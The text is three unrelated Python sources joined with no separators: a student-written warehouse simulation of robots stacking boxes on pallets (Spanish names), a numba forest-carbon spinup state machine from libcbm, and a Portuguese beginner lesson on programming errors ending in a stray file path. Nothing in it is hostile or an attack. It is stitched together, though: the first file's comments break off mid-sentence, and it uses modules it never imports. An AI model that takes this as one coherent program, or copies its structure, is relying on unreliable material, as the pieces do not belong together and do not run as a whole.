#           Sergio Manuel Gonzalez Vargas - A01745446
#           Gilberto André García Gaytán - A01753176
#           Fernando Ortiz Saldaña - A01376737
#           Ricardo Ramírez Condado - A01379299
# ----------------------------------------------------------
# The Caja class is a subclass of the Agent class. It has a constructor that
# initializes the agent's type, color, next color, not_move, agent_details,
# next_state, picked_up, and moves attributes. It also has a recogida() method
# that returns True if the agent's position is in the list of initial
# boxes, otherwise it returns False. It has an agarrar() method that deletes
# the box from the initial_boxes dictionary and adds it to the picked_boxes
# dictionary. It also changes the agent's next_state to the box's next_state.
# It has a levantada() method that sets the object's picked_up attribute to
# False and sets the next_state  attribute to the object's current position.
# It has a mueve() method that sets the
# agent's picked_up attribute to True, increments the moves attribute by
# 1, and sets the next_state attribute to the agent's current position. It

class Caja(Agent):
    def __init__(self, unique_id, model):
        """
        The function takes in a unique_id and a model, and then sets the type
        of the agent to box, the color of the agent to 0, the next color of
        the agent to 0,
        the not_move variable to False, the
        agent_details to None, the next_state to None, the picked_up variable
        to False, and the moves
        variable to 0.
        :param unique_id: The unique identifier for the agent
        :param model: The model that the agent is in
        """
        super().__init__(unique_id, model)
        self.type = 'box'
        self.color = 0
        self.next_color = 0
        self.not_move = False
        self.agent_details = None
        self.next_state = None
        self.picked_up = False
        self.moves = 0

    def recogida(self):
        """
        If the position of the agent is in the list of initial boxes,
        then return True, otherwise return False
        :return: The position of the agent.
        """
        if self.pos in self.model.initial_boxes:
            return True
        else:
            return False

    def agarrar(self):
        """
        The function agarrar() is called when the agent is in the same
        position as a box. The function deletes the box from the
        initial_boxes dictionary and adds it to the picked_boxes dictionary.
        The function also changes the agent's next_state to the box's
        next_state
        """
        self.agent_details = self.model.initial_boxes[self.pos]
        del self.model.initial_boxes[self.pos]
        self.model.picked_boxes[self.agent_details[0]] = \
            self.agent_details[-1]
        self.next_state = self.agent_details[-1]
        self.picked_up = True

    def levantada(self):
        """
        The function is called when the player picks up the object.
        It sets the object's picked_up attribute to False and sets the
        next_state attribute to the object's current position.
        """
        self.picked_up = False
        self.next_state = self.pos

    def mueve(self):
        """
        The function mueve() is called when the agent is picked up by the
        robot. It sets the agent's picked_up attribute to True, increments
        the moves attribute by 1, and sets the next_state attribute
        to the agent's current position
        """
        self.picked_up = True
        self.moves += 1
        self.next_state = self.model.picked_boxes[
            self.agent_details[0]]

    def step(self):
        """
        If the agent is not moving, it checks if it has an agent_details
        object, if it does, it moves, if it doesn't, it checks if it can pick
        up an object, if it can, it picks it up, if it can't, it does
        nothing
        """
        if not self.not_move:
            if self.agent_details is None:
                if self.recogida():
                    self.agarrar()
                else:
                    self.levantada()
            else:
                self.mueve()
                if self.next_state in self.model.pallets:
                    self.picked_up = False
                    self.not_move = True
        else:
            self.picked_up = False
            self.next_state = self.pos
        if self.picked_up:
            self.next_color = 3
        else:
            self.next_color = 0

    def advance(self):
        """
        The function takes the current state of the agent and the next state
        of the agent and moves the agent from the current state to the next
        state
        """
        self.color = self.next_color
        self.model.grid.move_agent(self, self.next_state)

# The class Robot_Agent is a
# subclass of the Agent class. It has a constructor that initializes the
# attributes of the class Robot_Agent. It has a function neighbors() that
# returns a list of lists, each of which contains the type of object in a cell
# and the cell's coordinates. It has a function puede_soltar() that returns the
# position of the pallet if it is possible to drop the pallet, otherwise it
# returns False. It has a function soltar_caja() that is called when the agent
# has a box and is in the same cell as the dropoff point. It has a function
# tarima_cercana() that takes a list of coordinates (neighbor) and returns the
# closest pallet to the last coordinate in the list. It has a function
# mueve_caja() that returns
class Robot_Agent(Agent):
    def __init__(self, unique_id, model):
        """
        The function __init__ is a constructor that initializes the attributes
        of the class RobotAgent :param unique_id: The unique ID of the agent
        :param model: The model that the agent is in
        """
        super().__init__(unique_id, model)
        self.type = 'robotagent'
        self.color = 1
        self.next_color = None
        self.has_box = False
        self.next_state = None
        self.objective_box = None
        self.moves = 0

    def neighbors(self):
        """
        It returns a list of lists, each of which contains the type of object
        in a cell and the cell's coordinates :return: A list of lists.
        Each list contains the type of object in the cell, the object itself,
        and the position of the cell.
        """
        contenido = []
        neighbors = self.model.grid.get_neighborhood(
                self.pos,
                moore=False,
                include_center=False)
        for neighbor in neighbors:
            if neighbor in self.model.pallets:
                contenido.append(['pallet', self.model.pallets[neighbor],
                                  neighbor])
            else:
                content = self.model.grid.get_cell_list_contents(neighbor)
                if content:
                    robot, box = False, False
                    for object in content:
                        if object.type == 'robot':
                            robot = True
                        elif object.type == 'box':
                            box = True
                    if robot and box:
                        contenido.append(['robot-with-box', neighbor])
                    elif box:
                        contenido.append(['box', neighbor])
                    else:
                        contenido.append(['robot', neighbor])
                else:
                    contenido.append(['empty', neighbor])
        return contenido

    def puede_soltar(self, neighbors_content):
        """
        If there is a pallet in the neighborhood, and it has less than 5 items
        on it, then return the pallet's id. Otherwise, return False
        :param neighbors_content: a list of tuples, each tuple is a neighbor
        of the agent. The tuple contains the type of the neighbor, the number
        of items in the neighbor, and the id of the neighbor :return:
        the position of the pallet if it is possible
        to drop the pallet, otherwise it returns False.
        """
        for neighbor in neighbors_content:
            if neighbor[0] == 'pallet':
                if neighbor[1] < 5:
                    return neighbor[-1]
        return False

    def soltar_caja(self, coordinar):
        """
        The function soltar_caja() is called when the agent has a box and is in
        the same cell as the dropoff point. The function adds one to the
        pallet in the dropoff point, sets the next state to the current state,
        sets the agent's has_box attribute to False,
        and adds the agent's unique_id to the model's picked_boxes dictionary
        :param coordinar: the coordinate of the pallet
        """
        self.model.pallets[coordinar] += 1
        self.next_state = self.pos
        self.has_box = False
        self.model.picked_boxes[self.unique_id] = coordinar

    def tarima_cercana(self, neighbor):
        """
        It takes a list of coordinates (neighbor) and returns the closest
        pallet to the last coordinate in
        the list :param neighbor: a list of coordinates that represent
        the path taken by the agent:return: the closest pallet to the
        last position of the neighbor.
        """
        x1, y1 = neighbor[-1]
        min_distance = float('inf')
        tarima_cercana = 0
        for key in self.model.pallets:
            if self.model.pallets[key] < 5:
                distance = math.sqrt(((key[0] - x1)**2) + ((key[1] - y1)**2))
                if distance < min_distance:
                    tarima_cercana = [key, neighbor[-1], distance]
                    min_distance = distance
        if tarima_cercana:
            return tarima_cercana
        else:
            return False

    def mueve_caja(self, neighbors_content):
        """
        The function returns the position of the closest empty cell to
        the agent, if there is one, and if it is not reserved by another agent
        :param neighbors_content: list of tuples, each tuple contains
        the content of a cell and its position :return:
        The next state of the agent.
        """
        min_distance = float('inf')
        graph = []
        for neighbor in neighbors_content:
            if neighbor[0] == 'empty' and neighbor[-1] not in \
                    self.model.reserved_cells:
                distance = self.tarima_cercana(neighbor)
                if distance:
                    if distance[-1] < min_distance:
                        min_distance = distance[-1]
                        graph = distance
        if graph:
            self.model.reserved_cells.append(graph[1])
            self.next_state = graph[1]
            self.model.picked_boxes[self.unique_id] = self.next_state
            return graph[1]
        else:
            self.next_state = self.pos
            self.model.picked_boxes[self.unique_id] = self.next_state
            return self.pos

    def hay_caja(self, neighbors_content):
        """
        If there is a box in the neighborhood, then add it to the list of
        reserved boxes and return the box. Otherwise, return False
        :param neighbors_content: list of tuples, each tuple is a cell content
        :return: the box that is in the same cell as the agent.
        """
        for neighbor in neighbors_content:
            if neighbor[0] == 'box' and neighbor[-1] not \
                    in self.model.reserved_boxes:
                self.model.reserved_boxes.append(neighbor[-1])
                return neighbor
        return False

    def mover(self, neighbors_content):
        """
        If there is an empty cell in the neighborhood, move to it
        :param neighbors_content: a list of tuples,
        each tuple contains the content of a cell and its position
        :return: a boolean value.
        """
        random.shuffle(neighbors_content)
        for neighbor in neighbors_content:
            if neighbor[0] == 'empty' and neighbor[-1] not in \
                    self.model.reserved_cells:
                self.model.reserved_cells.append(neighbor[-1])
                self.next_state = neighbor[-1]
                self.moves += 1
                return True
        self.next_state = self.pos
        return False

    def recoger(self, box):
        """
        The agent picks up a box and adds it to the list of picked up boxes
        :param box: the box that the agent is picking up
        """
        self.model.picked_objective_boxes.append(box[-1])
        self.model.initial_boxes[box[-1]] = [self.unique_id, self.pos]
        self.next_state = self.pos
        self.has_box = True

    def comunicar(self, box_position):
        """
        The function comunicar() is called when a box is added to
        the objective_boxes list :param box_position: the position of
        the box that the agent is currently on
        """
        if box_position not in self.model.objective_boxes_added:
            self.model.objective_boxes.append(box_position)
            self.model.objective_boxes_added.append(box_position)

    def caja_cerca(self, neighbor):
        """
        It calculates the distance between the objective box and the last box
        in the neighbor list.
        :param neighbor: a list of tuples, each tuple is a coordinate
        :return: The distance between the last point in the neighbor list
        and the objective box.
        """
        x1, y1 = neighbor[-1]
        distancia = math.sqrt(((self.objective_box[0] - x1) ** 2) +
                              ((self.objective_box[1] - y1) ** 2))
        return distancia

    def mover_a_caja(self, neighbors_content):
        """
        If there is an empty cell next to the agent, and that cell is not
        already reserved, then the agent
        will move to that cell
        :param neighbors_content: a list of tuples, each tuple contains the
        content of a cell and its
        position
        :return: The next state of the agent.
        """
        min_distance = float('inf')
        shortest_path = self.pos
        for neighbor in neighbors_content:
            if neighbor[0] == 'empty' and neighbor[-1] not in \
                    self.model.reserved_cells:
                distance = self.caja_cerca(neighbor)
                if distance < min_distance:
                    min_distance = distance
                    shortest_path = neighbor[-1]
        if shortest_path:
            self.moves += 1
            self.model.reserved_cells.append(shortest_path)
            self.next_state = shortest_path
            return shortest_path
        else:
            self.next_state = self.pos
            return self.pos

    def step(self):
        """
        If the agent has a box, it will try to drop it, if it can't, it will
        try to move it, if it can't, it
        will try to communicate with other agents. If the agent doesn't have a
        box, it will try to pick one
        up, if it can't, it will try to move to the box, if it can't, it will
        try to move
        """
        if self.objective_box in self.model.picked_objective_boxes:
            self.objective_box = None
        neighbors_content = self.neighbors()
        is_there_a_box = self.hay_caja(neighbors_content)
        if self.has_box:
            if is_there_a_box:
                self.comunicar(is_there_a_box[-1])
            can_drop_it = self.puede_soltar(neighbors_content)
            if can_drop_it:
                self.soltar_caja(can_drop_it)
            else:
                self.mueve_caja(neighbors_content)
        else:
            if is_there_a_box:
                if self.objective_box:
                    if self.objective_box not in \
                            self.model.picked_objective_boxes:
                        self.model.objective_boxes.append(self.objective_box)
                    self.objective_box = None
                self.recoger(is_there_a_box)
            else:
                if self.model.objective_boxes and not self.objective_box:
                    self.objective_box = self.model.objective_boxes.pop()
                    self.mover_a_caja(neighbors_content)
                elif self.objective_box:
                    self.mover_a_caja(neighbors_content)
                else:
                    self.mover(neighbors_content)
        if self.has_box:
            self.next_color = 2
        else:
            self.next_color = 1

    def advance(self):
        """
        The function takes the current state of the agent, and the next state
        of the agent, and moves the
        agent from the current state to the next state
        """
        self.model.reserved_cells = []
        self.model.reserved_boxes = []
        self.color = self.next_color
        self.model.grid.move_agent(self, self.next_state)

def llenar_stack(model):
    """
    If any of the values in the pallets dictionary are less than 5, return
    False. Otherwise, return True
    :param model: the model object
    :return: a boolean value.
    """
    for value in model.pallets.values():
        if value < 5:
            return False
    return True


from enum import IntEnum
import numpy as np
from libcbm.storage.series import Series

import numba

class SpinupState(IntEnum):
    """The possible spinup states for stands during spinup"""

    AnnualProcesses = 1
    HistoricalEvent = 2
    LastPassEvent = 3
    GrowToFinalAge = 4
    Delay = 5
    End = 6

@numba.njit()
def _small_slow_diff(
    last_rotation_slow: np.ndarray, this_rotation_slow: np.ndarray
) -> np.ndarray:
    return (
        abs(
            (last_rotation_slow - this_rotation_slow)
            / (last_rotation_slow + this_rotation_slow)
            / 2.0
        )
        < 0.001
    )

def advance_spinup_state(
    spinup_state: Series,
    age: Series,
    delay_step: Series,
    final_age: Series,
    delay: Series,
    return_interval: Series,
    rotation_num: Series,
    min_rotations: Series,
    max_rotations: Series,
    last_rotation_slow: Series,
    this_rotation_slow: Series,
    enabled: Series,
) -> np.ndarray:
    """Run the vectorized spinup finite state machine.  Passed values are not
    modified by this function.

    Args:
        spinup_state (Series): The current spinup state value. See
            :py:class:`SpinupState`
        age (Series): The age.
        delay_step (Series): The spinup delay step, when in the Delay state
        final_age (Series): The final age at the end of spinup, which is also
            known as the inventory age in CBM
        delay (Series): The number of delay steps to perform in spinup.
        return_interval (Series): The number of years between historical
            disturbance rotations.
        rotation_num (Series): The number of rotations already performed
        min_rotations (Series): The minimum number of rotations to perform
        max_rotations (Series): The maximum number of rotations to perform
        last_rotation_slow (Series): The sum of Slow C pools at the end of the
            last rotation, prior to historical disturbance.
        this_rotation_slow (Series): The current sum of Slow C pools.
        enabled (Series): A boolean flag indicating the corresponding stands
            are finished spinup (when 0), or spinup is ongoing (when 1)

    Returns:
        np.ndarray: The array of updated SpinupState.
    """
    out_state = spinup_state.copy().to_numpy()
    _advance_spinup_state(
        age.length,
        spinup_state.to_numpy(),
        age.to_numpy(),
        delay_step.to_numpy(),
        final_age.to_numpy(),
        delay.to_numpy(),
        return_interval.to_numpy(),
        rotation_num.to_numpy(),
        min_rotations.to_numpy(),
        max_rotations.to_numpy(),
        last_rotation_slow.to_numpy(),
        this_rotation_slow.to_numpy(),
        enabled.to_numpy(),
        out_state,
    )
    return out_state

@numba.njit()
def _advance_spinup_state(
    n_stands: int,
    spinup_state: np.ndarray,
    age: np.ndarray,
    delay_step: np.ndarray,
    final_age: np.ndarray,
    delay: np.ndarray,
    return_interval: np.ndarray,
    rotation_num: np.ndarray,
    min_rotations: np.ndarray,
    max_rotations: np.ndarray,
    last_rotation_slow: np.ndarray,
    this_rotation_slow: np.ndarray,
    enabled: np.ndarray,
    out_state: np.ndarray,
) -> np.ndarray:
    for i in range(0, n_stands):
        state = spinup_state[i]
        if not enabled[i]:
            out_state[i] = SpinupState.End
            continue
        if state == SpinupState.AnnualProcesses:
            if age[i] >= (return_interval[i]):
                small_slow_diff = (
                    _small_slow_diff(
                        last_rotation_slow[i], this_rotation_slow[i]
                    )
                    if (last_rotation_slow[i] > 0)
                    | (this_rotation_slow[i] > 0)
                    else False
                )
                if ((rotation_num[i] > min_rotations[i]) & small_slow_diff) | (
                    rotation_num[i] >= max_rotations[i]
                ):
                    out_state[i] = SpinupState.LastPassEvent
                else:
                    out_state[i] = SpinupState.HistoricalEvent
            else:
                out_state[i] = SpinupState.AnnualProcesses
        elif state == SpinupState.HistoricalEvent:
            out_state[i] = SpinupState.AnnualProcesses
        elif state == SpinupState.LastPassEvent:
            if age[i] < final_age[i]:
                out_state[i] = SpinupState.GrowToFinalAge
            elif age[i] >= final_age[i]:
                if delay[i] > 0:
                    out_state[i] = SpinupState.Delay
                else:
                    out_state[i] = SpinupState.End
        elif state == SpinupState.Delay:
            if delay_step[i] < delay[i]:
                out_state[i] = SpinupState.Delay
            else:
                out_state[i] = SpinupState.End
        elif state == SpinupState.GrowToFinalAge:
            if age[i] < final_age[i]:
                out_state[i] = SpinupState.GrowToFinalAge
            else:
                if delay[i] > 0:
                    out_state[i] = SpinupState.Delay
                else:
                    out_state[i] = SpinupState.End
    return out_state


# Erros de Sintaxe

x = 10
y = 5
print(x + y)

if x == 3:
    print('x é igual à 3')
    print('fim do bloco de código')

# Erros em Tempo de Execução

a = 1000
print(a)
b = 0
print(b)
#c = a / b
#print(c)

cidade = 'Belo Horizonte'
print(cidade)
estado = 'Minas Gerais'
print(estado)
#print(cidade, estado, pais)

cidade = 'Belo Horizonte'
print(cidade)

#1estado = 'Minas Gerais'
#print(1estado)
#print(cidade, 1estado, pais)

# Erros Lógicosb

x = 5.0
y = 7.0
z = 12.0
media = x + y + z / 3
#media = 5 + 7 + 12 / 3
#media = 5 + 7 + 4 = 16
print(media)

x = 5.0
y = 7.0
z = 12.0
media = (x + y + z) / 3
print(media)

xp educacao/bootcamp desenvolvedor python/capitulo02_aula03.py